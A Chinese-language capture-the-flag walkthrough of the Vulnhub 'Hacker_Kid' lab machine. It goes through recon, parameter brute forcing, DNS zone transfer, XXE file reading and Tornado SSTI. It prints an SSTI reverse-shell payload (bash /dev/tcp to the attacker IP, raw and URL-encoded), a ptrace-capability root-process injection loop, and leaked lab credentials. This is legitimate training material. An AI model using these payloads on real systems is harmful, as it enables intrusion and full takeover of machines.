Vulnhub靶场——Hacker_Kid-v1.0.1

1、概要 

靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

攻击机地址:192.168.60.148

靶机地址:192.168.60.160

涉及知识点:信息收集、暴力破解、DNS区域传输、XXE注入、SSTI注入、Capabilitie提权

密码不知道,开始想办法搞到密码

2、主机发现

打开kali用nmap扫一下同网段ip

148是kali的ip

160就是靶机的ip

nmap扫描一下端口信息

3、信息收集

打开192.168.60.160的80端口

打开9999端口

返回到80端口查找信息

查看源码注释部分

提示GET方式给page_no传参

给page_no传参为1

应该方向是正确的

4、暴力破解

后面使用burpsuite暴力破解

赋值为21时返回数据跟其他的不同

显示了此黑客使用的域名

5、DNS区域传输

dig hackers.blackhat.local @192.168.60.160

这里是之前忘记截图了,重新搞得,所以IP地址不一样,除了这里其他都没问题

把域名添加到本地DNS解析中,进行访问

打开下面的此人自用的域名

6、XXE注入

查看源码

发现特征是xml文本的特征

可能会存在xxe漏洞

尝试注册

无论怎么注册,都是not available

抓包查看一下数据包

尝试测试一下xxe漏洞回显

发现email这里可以回显

成功回显/etc/passwd

说明存在XXE漏洞

在回显的信息中,这里发现了一行敏感信息

返回一串base64编码的数据

解码内容

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

在最后有一个用户名密码

前面访问的9999端口是一个登录页面,也许有用,拿去尝试登录一下

使用admin登录失败,用户名换成saket登录成功了

这里显示的页面提示确认身份

查看了页面源码,没有提示

尝试GET传参给name变量赋值试试

给name变量赋值会有回显,后端的变量应该就是name

接下来就需要找这里的漏洞了

7、SSTI注入

搜索后发现,9999端口开放的一般是tornado服务,是一个python的web服务框架

对此,可以尝试一下SSTI注入

根据这个回显,可以说明确实是有SSTI注入漏洞的存在

8、反弹shell

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.60.148/4444 0>&1"')}}

URL编码后的shell
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%36%30%2e%31%34%38%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d

但是这个用户是个普通权限的用户

9、Capabilitie提权

python2.7提权root

涉及知识点:
	Capabilities机制在Linux内核2.2之后引入
    原理:将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。


利用下面这条命令发现具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null     
    -r:递归查询
    /dev/null:Linux的垃圾桶
    2:错误模式输出后面可以理解为如果有错误报告会直接删除不会显示
    /sbin:超级用户指令系统管理命令存放的是系统管理员使用的程序
    /getcap -r:查找setcap所设置的文件

可以发现python2.7具有cap_sys_ptrace+ep能力,所以我们可以对其利用进行提权

这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用python具备的cap_sys_ptrace+ep能力实现权限提升

此脚本如果执行成功,会在靶机本地监听5600端口,不过也可以修改脚本shellcode部分使其监听其他端口

进入靶机/tmp目录,把脚本下载到本地

从码云上面把需要利用的脚本下载下来

git clone https://gitee.com/Re1-zf/shell.git
这里我不太会用这个,然后下载的整个项目,进入目录使用的脚本

接下来就是找root进程进行注入

用一个python脚本测试一下

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

之后5600端口就打开了

回到攻击机连接靶机5600端口

拿到root权限

参考文章:vulnhub-Hacker_Kid靶机渗透过程 - FreeBuf网络安全行业门户

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值